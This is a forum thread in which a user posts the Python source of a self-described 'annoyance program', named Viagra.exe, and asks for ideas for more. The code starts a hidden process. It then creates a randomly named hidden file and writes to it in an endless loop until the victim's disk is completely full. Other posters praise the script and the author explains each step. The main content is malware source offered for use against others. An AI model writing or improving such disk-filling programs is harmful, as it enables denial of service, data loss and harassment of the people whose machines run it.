LightbulbProgram Suggestions

Posts 110 of 10 · Page 1 of 1
Program Suggestions
So I made this [In Python] as my first *Annoyance Program*. I wanted to make some more, Any ideas?

This one opens plays elevator music hides itself and then makes hidden files that don't stop growing in the same folder it's in.
(Named Viagra.exe After exported because it grows fast and big)

Code:
# -*- coding: utf-8 -*-
from errno import *
from sys import *
import os
from msvcrt import *
from time import *
from random import *
import subprocess

## Music Time Bby.

##os.system("start ElevatorMusic.mp3")
os.system('start Multitool.exe')

##Hiden
def startProgram( ):
    SW_HIDE = 0
    info = subprocess.STARTUPINFO( )
    info.dwFlags = subprocess.STARTF_USESHOWWINDOW
    info.wShowWindow=SW_HIDE
    subprocess.Popen(r' Multitool.exe', startupinfo=info)
    startProgram

##Write File
name=randint(0,9999999999)
write_str="�"*1024*1024*10
with open(str(name), 'w') as f:
    while True:
        try:
            fn=str(name)
            p=os.popen('attrib +h ' + fn)
            t=p.read()
            p.close()
            f.write(write_str)
            f.flush()
        except IOError as err:
            if err.errno == errno.ENOSPC:
                write_str_len=len(write_str)
                if write_str_len>1:
                    write_str=write_str[:write_str_len/2]
                else:
                    break
            else:
                raise
                raise
That's python wtf? Maybe I'm thinking of perl but damn that shit is easy to understand lol. It's just like VB.
Quote Originally Posted by Dab View Post
That's python wtf? Maybe I'm thinking of perl but damn that shit is easy to understand lol. It's just like VB.
It's Python.
Quote Originally Posted by maestro1994 View Post
It's Python.
Quote Originally Posted by Ffrocks3 View Post
So I made this [In Python]
Yep it is, I didn't Say that!
Quote Originally Posted by Ffrocks3 View Post
(Named Viagra.exe ...)
? What the @#~# is that name? You know what I mean ... Che roba è?

Anyway I still can't understand so much the sense of the program. Are you a beginner?
Quote Originally Posted by maestro1994 View Post
? What the @#~# is that name? You know what I mean ... Che roba è?

Anyway I still can't understand so much the sense of the program. Are you a beginner?
The Name is A Joke and nope but I can explain the Code:

name=randint(0,9999999999) - Naming random files

write_str="�"*1024*1024*10 = Making the file and filling it with some Mb of empty characters.

fn=str(name)
p=os.popen('attrib +h ' + fn)
t=p.read()
p.close()
f.write(write_str)
f.flush()

- Hiding That File So you only can see if you have hidden files on.
If it's python you could of just used a plug in for write file and edited it.
Cool program. Better then what I can achieve on python :3
Quote Originally Posted by -Panda- View Post
Cool program. Better then what I can achieve on python :3
Haha Thanks!
Haha that name fits the program perfectly. Cool script, +rep
Posts 110 of 10 · Page 1 of 1
This thread is closed for replies.

Similar Threads

Tags for this Thread

Need help?